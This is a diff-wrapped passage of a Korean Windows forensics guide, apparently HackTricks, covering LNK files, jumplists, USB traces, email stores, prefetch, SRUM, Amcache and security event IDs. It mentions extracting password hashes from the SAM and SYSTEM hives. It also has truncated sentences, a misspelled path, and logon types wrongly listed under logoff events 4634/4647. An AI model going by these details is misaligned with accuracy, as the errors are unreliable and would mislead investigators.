또한, 링크 파일의 **생성 날짜**는 원본 파일이 **처음 사용된 시간**이고, 링크 파일의 **수정 날짜**는 원본 파일이 **마지막으로 사용된 시간**입니다.
|
||||
|
||||
이러한 파일을 검사하려면 [**LinkParser**](http://4discovery.com/our-tools/)를 사용할 수 있습니다.
|
||||
|
||||
이 도구에서는 다음과 같은 **2 세트의 타임스탬프**를 찾을 수 있습니다:
|
||||
|
||||
* **첫 번째 세트:**
|
||||
|
||||
1. FileModifiedDate
|
||||
2. FileAccessDate
|
||||
3. FileCreationDate
|
||||
|
||||
* **두 번째 세트:**
|
||||
|
||||
1. LinkModifiedDate
|
||||
2. LinkAccessDate
|
||||
3. LinkCreationDate.
|
||||
|
||||
첫 번째 세트의 타임스탬프는 **파일 자체의 타임스탬프**를 참조합니다. 두 번째 세트는 **링크된 파일의 타임스탬프**를 참조합니다.
|
||||
|
||||
Windows CLI 도구 [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)를 실행하여 동일한 정보를 얻을 수 있습니다.
|
||||
|
||||
```
|
||||
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
||||
```
|
||||
|
||||
이 경우, 정보는 CSV 파일에 저장됩니다.
|
||||
|
||||
### Jumplists
|
||||
|
||||
이는 각 응용 프로그램에서 알려진 최근 파일들의 목록입니다. 각 응용 프로그램에서 액세스할 수 있는 **응용 프로그램이 사용한 최근 파일들의 목록**입니다. 이들은 **자동으로 생성되거나 사용자 정의**될 수 있습니다.
|
||||
|
||||
자동으로 생성된 **jumplists**는 `C:\Users\{사용자명}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`에 저장됩니다. jumplists는 초기 ID가 응용 프로그램의 ID인 `{id}.autmaticDestinations-ms` 형식을 따릅니다.
|
||||
|
||||
사용자 정의 jumplists는 `C:\Users\{사용자명}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`에 저장되며, 일반적으로 응용 프로그램에서 파일과 관련하여 **중요한 일이 발생**했을 때 생성됩니다 (즐겨찾기로 표시된 파일일 수도 있음).
|
||||
|
||||
어떤 jumplist의 **생성 시간**은 **파일에 처음 액세스한 시간**을 나타내고, **수정된 시간은 마지막으로 액세스한 시간**을 나타냅니다.
|
||||
|
||||
[JumplistExplorer](https://ericzimmerman.github.io/#!index.md)를 사용하여 jumplists를 검사할 수 있습니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (474).png>)
|
||||
|
||||
(_JumplistExplorer에서 제공하는 타임스탬프는 jumplist 파일 자체와 관련이 있음을 유의하세요._)
|
||||
|
||||
### Shellbags
|
||||
|
||||
[**이 링크를 따라가서 shellbags가 무엇인지 알아보세요.**](interesting-windows-registry-keys.md#shellbags)
|
||||
|
||||
## Windows USB 사용
|
||||
|
||||
USB 장치가 사용되었음을 확인할 수 있습니다. 이는 다음과 같은 것들의 생성으로 인해 가능합니다:
|
||||
|
||||
* Windows 최근 폴더
|
||||
* Microsoft Office 최근 폴더
|
||||
* Jumplists
|
||||
|
||||
원본 경로 대신 일부 LNK 파일은 WPDNSE 폴더를 가리킵니다:
|
||||
|
||||
![](<../../../.gitbook/assets/image (476).png>)
|
||||
|
||||
WPDNSE 폴더의 파일들은 원본 파일의 사본이므로 PC를 재시작하면 사라지며, GUID는 shellbag에서 가져옵니다.
|
||||
|
||||
### 레지스트리 정보
|
||||
|
||||
USB 연결된 장치에 대한 흥미로운 정보가 포함된 레지스트리 키를 확인하려면 [이 페이지를 확인하세요](interesting-windows-registry-keys.md#usb-information).
|
||||
|
||||
### setupapi
|
||||
|
||||
USB 연결이 발생한 타임스탬프를 얻으려면 `C:\Windows\inf\setupapi.dev.log` 파일을 확인하세요 (`Section start`를 검색).
|
||||
|
||||
![](https://github.com/carlospolop/hacktricks/blob/kr/.gitbook/assets/image%20\(477\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(3\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(14\).png)
|
||||
|
||||
### USB Detective
|
||||
|
||||
[**USBDetective**](https://usbdetective.com)를 사용하여 이미지에 연결된 USB 장치에 대한 정보를 얻을 수 있습니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (483).png>)
|
||||
|
||||
### Plug and Play Cleanup
|
||||
|
||||
'Plug and Play Cleanup'이라고 알려진 예약된 작업은 주로 오래된 드라이버 버전을 제거하기 위해 설계되었습니다. 최신 드라이버 패키지 버전을 유지하는 것이 명시된 목적과는 달리, 온라인 소스에 따르면 30일 동안 비활성화된 드라이버도 대상으로 삼을 수 있습니다. 따라서 지난 30일 동안 연결되지 않은 이동식 장치의 드라이버는 삭제될 수 있습니다.
|
||||
|
||||
해당 작업은 다음 경로에 위치합니다: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
|
||||
|
||||
작업의 내용을 보여주는 스크린샷이 제공됩니다: ![](https://2.bp.blogspot.com/-wqYubtuR\_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
|
||||
|
||||
**작업의 주요 구성 요소 및 설정:**
|
||||
|
||||
* **pnpclean.dll**: 실제 정리 프로세스를 담당하는 DLL입니다.
|
||||
* **UseUnifiedSchedulingEngine**: 일반적인 작업 스케줄링 엔진의 사용을 나타내는 `TRUE`로 설정됩니다.
|
||||
* **MaintenanceSettings**:
|
||||
* **Period ('P1M')**: 정기적인 자동 유지 관리 중에 매월 정리 작업을 시작하도록 Task Scheduler에 지시합니다.
|
||||
* **Deadline ('P2M')**: 작업이 두 달 연속 실패한 경우, 비상 자동 유지 관리 중에 작업을 실행하도록 Task Scheduler에 지시합니다.
|
||||
|
||||
이 구성은 드라이버의 정기적인 유지 관리와 정리를 보장하며, 연속적인 실패의 경우 작업을 재시도할 수 있도록 규정합니다.
|
||||
|
||||
**자세한 정보는 다음을 참조하세요:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
|
||||
|
||||
## 이메일
|
||||
|
||||
이메일에는 **헤더**와 **내용** 두 가지 흥미로운 부분이 있습니다. **헤더**에서는 다음과 같은 정보를 찾을 수 있습니다:
|
||||
|
||||
* 이메일을 보낸 **누가** (이메일 주소, IP, 이메일을 리디렉션한 메일 서버)
|
||||
* 이메일이 **언제** 보내졌는지
|
||||
|
||||
또한, `References` 및 `In-Reply-To` 헤더에서 메시지의 ID를 찾을 수 있습니다:
|
||||
|
||||
![](<../../../.gitbook/assets/image (484).png>)
|
||||
|
||||
### Windows Mail 앱
|
||||
|
||||
이 응용 프로그램은 이메일을 HTML 또는 텍스트로 저장합니다. 이메일은 `\Users\<사용자명>\AppData\Local\Comms\Unistore\data\3\` 내의 하위 폴더에서 찾을 수 있습니다. 이메일은 `.dat` 확장자로 저장됩니다.
|
||||
|
||||
이메일의 **메타데이터**와 **연락처**는 **EDB 데이터베이스** 내에서 찾을 수 있습니다: `\Users\<사용자명>\AppData\Local\Comms\UnistoreDB\store.vol`
|
||||
|
||||
파일의 확장자를 `.vol`에서 `.edb`로 변경하고 [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) 도구를 사용하여 열 수 있습니다. `Message` 테이블 내에서 이메일을 볼 수 있습니다.
|
||||
|
||||
### Microsoft Outlook
|
||||
|
||||
Exchange 서버 또는 Outlook 클라이언트를 사용하는 경우 일부 MAPI 헤더가 있을 것입니다:
|
||||
|
||||
* `Mapi-Client-Submit-Time`: 이메일이 보내진 시스템의 시간
|
||||
* `Mapi-Conversation-Index`: 스레드의 하위 메시지 수 및 각 메시지의 타임스탬프
|
||||
* `Mapi-Entry-ID`: 메시지 식별자.
|
||||
* `Mappi-Message-Flags` 및 `Pr_last_Verb-Executed`: MAPI 클라이언트에 대한 정보 (메시지 읽음? 읽지 않음? 응답함? 리디렉션됨? 사무실을 비웠음?)
|
||||
|
||||
Microsoft Outlook 클라이언트에서 모든 보낸/받은 메시지, 연락처 데이터 및 캘린더 데이터는 다음 위치의 PST 파일에 저장됩니다:
|
||||
|
||||
* `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
|
||||
* `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
|
||||
|
||||
레지스트리 경로 `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook`는 사용되는 파일을 나타냅니다.
|
||||
|
||||
PST 파일은
|
||||
|
||||
### Microsoft Outlook OST 파일
|
||||
|
||||
**OST 파일**은 Microsoft Outlook이 **IMAP** 또는 **Exchange** 서버와 구성될 때 생성되며, PST 파일과 유사한 정보를 저장합니다. 이 파일은 서버와 동기화되어 **최대 50GB의 크기로 최근 12개월간의 데이터**를 보존하며, PST 파일과 동일한 디렉토리에 위치합니다. OST 파일을 보려면 [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html)를 사용할 수 있습니다.
|
||||
|
||||
### 첨부 파일 검색
|
||||
|
||||
분실된 첨부 파일은 다음 위치에서 복구할 수 있습니다:
|
||||
|
||||
* **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
|
||||
* **IE11 및 이상**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
|
||||
|
||||
### Thunderbird MBOX 파일
|
||||
|
||||
**Thunderbird**는 데이터를 저장하기 위해 **MBOX 파일**을 사용하며, 이 파일은 `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`에 위치합니다.
|
||||
|
||||
### 이미지 썸네일
|
||||
|
||||
* **Windows XP 및 8-8.1**: 썸네일이 있는 폴더에 액세스하면 삭제 후에도 이미지 미리보기를 저장하는 `thumbs.db` 파일이 생성됩니다.
|
||||
* **Windows 7/10**: UNC 경로를 통해 네트워크를 통해 액세스할 때 `thumbs.db`가 생성됩니다.
|
||||
* **Windows Vista 및 이후**: 썸네일 미리보기는 `%userprofile%\AppData\Local\Microsoft\Windows\Explorer`에 **thumbcache\_xxx.db**라는 이름의 파일로 중앙 집중화됩니다. [**Thumbsviewer**](https://thumbsviewer.github.io) 및 [**ThumbCache Viewer**](https://thumbcacheviewer.github.io)는 이러한 파일을 보기 위한 도구입니다.
|
||||
|
||||
### Windows 레지스트리 정보
|
||||
|
||||
Windows 레지스트리는 체계적인 시스템 및 사용자 활동 데이터를 저장하는데 사용되며, 다음 위치의 파일에 포함되어 있습니다:
|
||||
|
||||
* 다양한 `HKEY_LOCAL_MACHINE` 하위 키에 대한 `%windir%\System32\Config`
|
||||
* `HKEY_CURRENT_USER`에 대한 `%UserProfile%{User}\NTUSER.DAT`
|
||||
* Windows Vista 이상 버전은 `%Windir%\System32\Config\RegBack\`에 `HKEY_LOCAL_MACHINE` 레지스트리 파일을 백업합니다.
|
||||
* 또한, 프로그램 실행 정보는 Windows Vista 및 Windows 2008 Server 이후에 `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`에 저장됩니다.
|
||||
|
||||
### 도구
|
||||
|
||||
레지스트리 파일을 분석하는 데 유용한 몇 가지 도구가 있습니다:
|
||||
|
||||
* **레지스트리 편집기**: Windows에 설치되어 있는 도구로, 현재 세션의 Windows 레지스트리를 탐색하기 위한 GUI를 제공합니다.
|
||||
* [**레지스트리 탐색기**](https://ericzimmerman.github.io/#!index.md): 레지스트리 파일을 로드하고 GUI를 통해 탐색할 수 있습니다. 또한 흥미로운 정보가 포함된 키를 강조 표시하는 즐겨찾기 기능도 제공합니다.
|
||||
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): 다시 한번, 로드된 레지스트리를 탐색할 수 있는 GUI를 제공하며, 로드된 레지스트리 내에서 흥미로운 정보를 강조 표시하는 플러그인도 포함되어 있습니다.
|
||||
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): 레지스트리에서 중요한 정보를 추출할 수 있는 또 다른 GUI 응용 프로그램입니다.
|
||||
|
||||
### 삭제된 요소 복구
|
||||
|
||||
키가 삭제되면 해당 키가 삭제되었다는 표시가 지정되지만, 해당 공간이 필요할 때까지는 제거되지 않습니다. 따라서 **레지스트리 탐색기**와 같은 도구를 사용하여 이러한 삭제된 키를 복구할 수 있습니다.
|
||||
|
||||
### 마지막 수정 시간
|
||||
|
||||
각 키-값은 마지막으로 수정된 시간을 나타내는 **타임스탬프**를 포함합니다.
|
||||
|
||||
### SAM
|
||||
|
||||
파일/하이브 **SAM**에는 시스템의 **사용자, 그룹 및 사용자 비밀번호** 해시가 포함되어 있습니다.
|
||||
|
||||
`SAM\Domains\Account\Users`에서는 사용자 이름, RID, 마지막 로그인, 마지막 로그인 실패, 로그인 횟수, 비밀번호 정책 및 계정 생성 시간을 얻을 수 있습니다. **해시**를 얻으려면 파일/하이브 **SYSTEM**도 필요합니다.
|
||||
|
||||
### Windows 레지스트리의 흥미로운 항목
|
||||
|
||||
{% content-ref url="interesting-windows-registry-keys.md" %}
|
||||
[interesting-windows-registry-keys.md](interesting-windows-registry-keys.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 실행된 프로그램
|
||||
|
||||
### 기본 Windows 프로세스
|
||||
|
||||
[이 게시물](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d)에서는 의심스러운 동작을 감지하기 위한 일반적인 Windows 프로세스에 대해 알아볼 수 있습니다.
|
||||
|
||||
### Windows 최근 앱
|
||||
|
||||
레지스트리 `NTUSER.DAT`의 경로 `Software\Microsoft\Current Version\Search\RecentApps`에서는 **실행된 애플리케이션**, **마지막 실행 시간**, **실행 횟수**에 대한 정보가 포함된 하위 키를 찾을 수 있습니다.
|
||||
|
||||
### BAM (백그라운드 활동 관리자)
|
||||
|
||||
레지스트리 편집기로 `SYSTEM` 파일을 열고 경로 `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}`에서 각 사용자별로 **실행된 애플리케이션에 대한 정보** (경로에 있는 `{SID}`에 주목)와 **실행 시간**을 찾을 수 있습니다 (시간은 레지스트리의 데이터 값 내에 포함됨).
|
||||
|
||||
### Windows Prefetch
|
||||
|
||||
Prefetching은 사용자가 **가까운 미래에 액세스할 수 있는 콘텐츠를 표시하는 데 필요한 리소스를 은밀하게 가져오는** 기술로, 리소스에 빠르게 액세스할 수 있도록 합니다.
|
||||
|
||||
Windows Prefetch는 실행된 프로그램의 **캐시를 생성**하여 더 빠르게 로드할 수 있도록 합니다. 이러한 캐시는 `C:\Windows\Prefetch` 경로에 `.pf` 파일로 생성됩니다. XP/VISTA/WIN7에서는 최대 128개의 파일, Win8/Win10에서는 최대 1024개의 파일로 제한됩니다.
|
||||
|
||||
파일 이름은 `{프로그램_이름}-{해시}.pf`로 생성됩니다 (해시는 실행 파일의 경로와 인수에 기반함). W10에서는 이러한 파일이 압축됩니다. 파일의 존재만으로도 **프로그램이 어느 시점에 실행**되었음을 나타냅니다.
|
||||
|
||||
파일 `C:\Windows\Prefetch\Layout.ini`에는 **프리페치된 파일의 폴더 이름**이 포함되어 있습니다. 이 파일에는 **실행 횟수**, **실행 날짜** 및 프로그램에서 **열린 파일**에 대한 정보가 포함되어 있습니다.
|
||||
|
||||
이러한 파일을 검사하기 위해 [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd) 도구를 사용할 수 있습니다.
|
||||
|
||||
```bash
|
||||
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
|
||||
```
|
||||
|
||||
![](<../../../.gitbook/assets/image (487).png>)
|
||||
|
||||
### 슈퍼프리페치
|
||||
|
||||
**슈퍼프리페치**는 프리페치와 동일한 목표를 가지고 있으며, **프로그램을 더 빠르게 로드**하기 위해 다음에 로드될 것을 예측합니다. 그러나 프리페치 서비스를 대체하지는 않습니다.\
|
||||
이 서비스는 `C:\Windows\Prefetch\Ag*.db`에 데이터베이스 파일을 생성합니다.
|
||||
|
||||
이 데이터베이스에서는 **프로그램의 이름**, **실행 횟수**, **열린 파일**, **접근한 볼륨**, **전체 경로**, **시간대** 및 **타임스탬프**를 찾을 수 있습니다.
|
||||
|
||||
이 정보에는 [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) 도구를 사용하여 액세스할 수 있습니다.
|
||||
|
||||
### SRUM
|
||||
|
||||
**시스템 리소스 사용 모니터**(SRUM)는 **프로세스가 사용하는 리소스**를 **모니터링**합니다. 이는 W8에서 등장하며, 데이터는 `C:\Windows\System32\sru\SRUDB.dat`에 위치한 ESE 데이터베이스에 저장됩니다.
|
||||
|
||||
다음과 같은 정보를 제공합니다:
|
||||
|
||||
* AppID 및 경로
|
||||
* 프로세스를 실행한 사용자
|
||||
* 보낸 바이트
|
||||
* 받은 바이트
|
||||
* 네트워크 인터페이스
|
||||
* 연결 지속 시간
|
||||
* 프로세스 지속 시간
|
||||
|
||||
이 정보는 60분마다 업데이트됩니다.
|
||||
|
||||
이 파일에서 날짜를 얻으려면 [**srum\_dump**](https://github.com/MarkBaggett/srum-dump) 도구를 사용할 수 있습니다.
|
||||
|
||||
```bash
|
||||
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
|
||||
```
|
||||
|
||||
### AppCompatCache (ShimCache)
|
||||
|
||||
**AppCompatCache**(ShimCache)은 **Microsoft**이 개발한 **Application Compatibility Database**의 일부로, 응용 프로그램 호환성 문제를 해결하기 위해 사용됩니다. 이 시스템 구성 요소는 다음과 같은 파일 메타데이터의 여러 조각을 기록합니다:
|
||||
|
||||
* 파일의 전체 경로
|
||||
* 파일의 크기
|
||||
* **$Standard\_Information** (SI) 아래의 마지막 수정 시간
|
||||
* ShimCache의 마지막 업데이트 시간
|
||||
* 프로세스 실행 플래그
|
||||
|
||||
이러한 데이터는 운영 체제의 버전에 따라 레지스트리의 특정 위치에 저장됩니다:
|
||||
|
||||
* XP의 경우, 데이터는 `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache`에 저장되며, 96개의 항목을 수용할 수 있습니다.
|
||||
* Server 2003 및 Windows 버전 2008, 2012, 2016, 7, 8 및 10의 경우, 저장 경로는 각각 512개 및 1024개의 항목을 수용할 수 있는 `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`입니다.
|
||||
|
||||
저장된 정보를 파싱하기 위해 [**AppCompatCacheParser** 도구](https://github.com/EricZimmerman/AppCompatCacheParser)를 사용하는 것이 좋습니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (488).png>)
|
||||
|
||||
### Amcache
|
||||
|
||||
**Amcache.hve** 파일은 시스템에서 실행된 응용 프로그램에 대한 세부 정보를 기록하는 레지스트리 하이브입니다. 일반적으로 `C:\Windows\AppCompat\Programas\Amcache.hve`에서 찾을 수 있습니다.
|
||||
|
||||
이 파일은 최근에 실행된 프로세스의 기록을 저장하며, 실행 파일의 경로와 SHA1 해시를 포함합니다. 이 정보는 시스템에서 응용 프로그램의 활동을 추적하는 데 매우 유용합니다.
|
||||
|
||||
**Amcache.hve**에서 데이터를 추출하고 분석하기 위해 [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) 도구를 사용할 수 있습니다. 다음 명령은 **Amcache.hve** 파일의 내용을 파싱하여 결과를 CSV 형식으로 출력하는 예시입니다:
|
||||
|
||||
```bash
|
||||
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
|
||||
```
|
||||
|
||||
생성된 CSV 파일 중에서 `Amcache_Unassociated file entries`는 연결되지 않은 파일 항목에 대한 풍부한 정보를 제공하기 때문에 특히 주목할 만합니다.
|
||||
|
||||
가장 흥미로운 CSV 파일은 `Amcache_Unassociated file entries`입니다.
|
||||
|
||||
### 최근 파일 캐시
|
||||
|
||||
이 아티팩트는 W7에서만 `C:\Windows\AppCompat\Programs\RecentFileCache.bcf`에 있으며 일부 이진 파일의 최근 실행에 대한 정보를 포함합니다.
|
||||
|
||||
파일을 구문 분석하기 위해 [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) 도구를 사용할 수 있습니다.
|
||||
|
||||
### 예약된 작업
|
||||
|
||||
작업은 `C:\Windows\Tasks` 또는 `C:\Windows\System32\Tasks`에서 추출하여 XML로 읽을 수 있습니다.
|
||||
|
||||
### 서비스
|
||||
|
||||
서비스는 레지스트리의 `SYSTEM\ControlSet001\Services`에 있습니다. 실행될 작업과 실행 시간을 확인할 수 있습니다.
|
||||
|
||||
### **Windows 스토어**
|
||||
|
||||
설치된 애플리케이션은 `\ProgramData\Microsoft\Windows\AppRepository\`에서 찾을 수 있습니다.\
|
||||
이 저장소에는 시스템에 설치된 각 애플리케이션에 대한 **로그**가 **`StateRepository-Machine.srd`** 데이터베이스 내에 있습니다.
|
||||
|
||||
이 데이터베이스의 Application 테이블에서 "Application ID", "PackageNumber", "Display Name" 열을 찾을 수 있습니다. 이 열에는 사전 설치된 및 설치된 애플리케이션에 대한 정보가 있으며, 설치된 애플리케이션의 ID는 연속적이어야 합니다. 따라서 일부 애플리케이션이 제거되었는지 확인할 수 있습니다.
|
||||
|
||||
또한 레지스트리 경로 `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`에서 **설치된 애플리케이션**을 찾을 수 있으며,\
|
||||
`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`에서 **제거된 애플리케이션**을 찾을 수 있습니다.
|
||||
|
||||
## Windows 이벤트
|
||||
|
||||
Windows 이벤트에 나타나는 정보는 다음과 같습니다:
|
||||
|
||||
* 발생한 사건
|
||||
* 타임스탬프 (UTC + 0)
|
||||
* 관련된 사용자
|
||||
* 관련된 호스트 (호스트 이름, IP)
|
||||
* 액세스한 자산 (파일, 폴더, 프린터, 서비스)
|
||||
|
||||
로그는 Windows Vista 이전에는 `C:\Windows\System32\config`에 있었고, Windows Vista 이후에는 **XML 형식**으로 `C:\Windows\System32\winevt\Logs`에 있습니다. Windows Vista 이전에는 이벤트 로그가 이진 형식이었으며, Windows Vista 이후에는 **.evtx** 확장자를 사용합니다.
|
||||
|
||||
이벤트 파일의 위치는 SYSTEM 레지스트리의 \*\*`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`\*\*에 있습니다.
|
||||
|
||||
Windows 이벤트 뷰어 (**`eventvwr.msc`**) 또는 [**Event Log Explorer**](https://eventlogxp.com) 또는 [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)와 같은 다른 도구를 사용하여 이벤트를 시각화할 수 있습니다.
|
||||
|
||||
## Windows 보안 이벤트 로깅 이해하기
|
||||
|
||||
보안 구성 파일인 `C:\Windows\System32\winevt\Security.evtx`에는 액세스 이벤트가 기록됩니다. 이 파일의 크기는 조정 가능하며, 용량이 가득 차면 이전 이벤트가 덮어씌워집니다. 기록된 이벤트에는 사용자 로그인 및 로그오프, 사용자 작업 및 보안 설정 변경, 파일, 폴더 및 공유 자산 액세스가 포함됩니다.
|
||||
|
||||
### 사용자 인증을 위한 주요 이벤트 ID:
|
||||
|
||||
* **EventID 4624**: 사용자 인증 성공을 나타냅니다.
|
||||
* **EventID 4625**: 인증 실패를 나타냅니다.
|
||||
* **EventIDs 4634/4647**: 사용자 로그오프 이벤트를 나타냅니다.
|
||||
* **EventID 4672**: 관리 권한으로 로그인을 나타냅니다.
|
||||
|
||||
#### EventID 4634/4647의 하위 유형:
|
||||
|
||||
* **Interactive (2)**: 직접 사용자 로그인
|
||||
* **Network (3)**: 공유 폴더 액세스
|
||||
* **Batch (4)**: 일괄 처리 프로세스 실행
|
||||
* **Service (5)**: 서비스 시작
|
||||
* **Proxy (6)**: 프록시 인증
|
||||
* **Unlock (7)**: 비밀번호로 화면 잠금 해제
|
||||
* **Network Cleartext (8)**: IIS에서의 평문 암호 전송
|
||||
* **New Credentials (9)**: 액세스에 대한 다른 자격 증명 사용
|
||||
* **Remote Interactive (10)**: 원격 데스크톱 또는 터미널 서비스 로그인
|
||||
* **Cache Interactive (11)**: 도메인 컨트롤러 연결 없이 캐시 자격 증명으로 로그인
|
||||
* **Cache Remote Interactive (12)**: 캐시 자격 증명으로 원격 로그인
|
||||
* **Cached Unlock (13)**: 캐시 자격 증명으로 잠금 해제
|
||||
|
||||
#### EventID 4625의 상태 및 하위 상태 코드:
|
||||
|
||||
* **0xC0000064**: 사용자 이름이 존재하지 않음 - 사용자 이름 열거 공격을 나타낼 수 있음
|
||||
* **0xC000006A**: 올바른 사용자 이름이지만 잘못된 암호 - 암호 추측 또는 무차별 대입 공격 가능성
|
||||
* **0xC0000234**: 사용자 계정 잠금 - 다중 실패 로그인으로 인한 무차별 대입 공격 가능성
|
||||
* **0xC0000072**: 계정 비활성화 - 비활성화된 계정에 대한 무단 액세스 시도
|
||||
* **0xC000006F**: 허용된 시간 외에 로그인 - 설정된 로그인 시간 외에 액세스 시도, 무단 액세스의 가능성
|
||||
* **0xC0000070**: 작업 스테이션 제한 위반 - 허가되지 않은 위치에서 로그인 시도 가능성
|
||||
* **0xC0000193**: 계정 만료 - 만료된 사용자 계정으로의 액세스 시도
|
||||
* **0xC0000071**: 암호 만료 - 오래된 암호로의 로그인 시도
|
||||
* **0xC0000133**: 시간 동기화 문제 - 클라이언트와 서버 간의 큰 시간 차이는 티켓 전달과 같은 고급 공격의 가능성을 나타낼 수 있음
|
||||
* **0xC0000224**: 필수 암호 변경 필요 - 빈번한 필수 변경은 계정 보안을 불안정하게 만드는 시도일 수 있음
|
||||
* **0xC0000225**: 보안 문제가 아닌 시스템 버그를 나타냄
|
||||
* **0xC000015b**: 거부된 로그온 유형 - 사용자가 서비스 로그온을 실행하려고 시도하는 등의 무단 로그온 시도
|
||||
|
||||
#### EventID 4616:
|
||||
|
||||
* **시간 변경**: 시스템 시간 변경, 사건 타임라인을 어렵게 만들 수 있음
|
||||
|
||||
#### EventID 6005 및 6006:
|
||||
|
||||
* **시스템 시작 및 종료**: EventID 6005는 시스템 시작을 나타내고, EventID 6006은 시스템 종료를 나타냅니다.
|
||||
|
||||
#### EventID 1102:
|
||||
|
||||
* **로그 삭제**: 보안 로그가 지워지는 것은 종종 불법 활동을 숨기기 위한 신호입니다.
|
||||
|
||||
#### USB 장치 추적을 위한 EventID:
|
||||
|
||||
* **20001 / 20003 / 10000**: USB 장치 처음 연결
|
||||
* **10100**: USB 드라이버 업데이트
|
||||
* **EventID 112**: USB 장치 삽입 시간
|
||||
|
||||
이러한 로그인 유형 및 자격 증명 덤프 기회를 시
|
||||
|
||||
#### 시스템 전원 이벤트
|
||||
|
||||
EventID 6005는 시스템 시작을 나타내며, EventID 6006은 종료를 표시합니다.
|
||||
|
||||
#### 로그 삭제
|
||||
|
||||
보안 EventID 1102는 로그의 삭제를 나타내며, 이는 포렌식 분석에 있어서 중요한 이벤트입니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,82 @@
|
|||
# 흥미로운 Windows 레지스트리 키
|
||||
|
||||
### 흥미로운 Windows 레지스트리 키
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
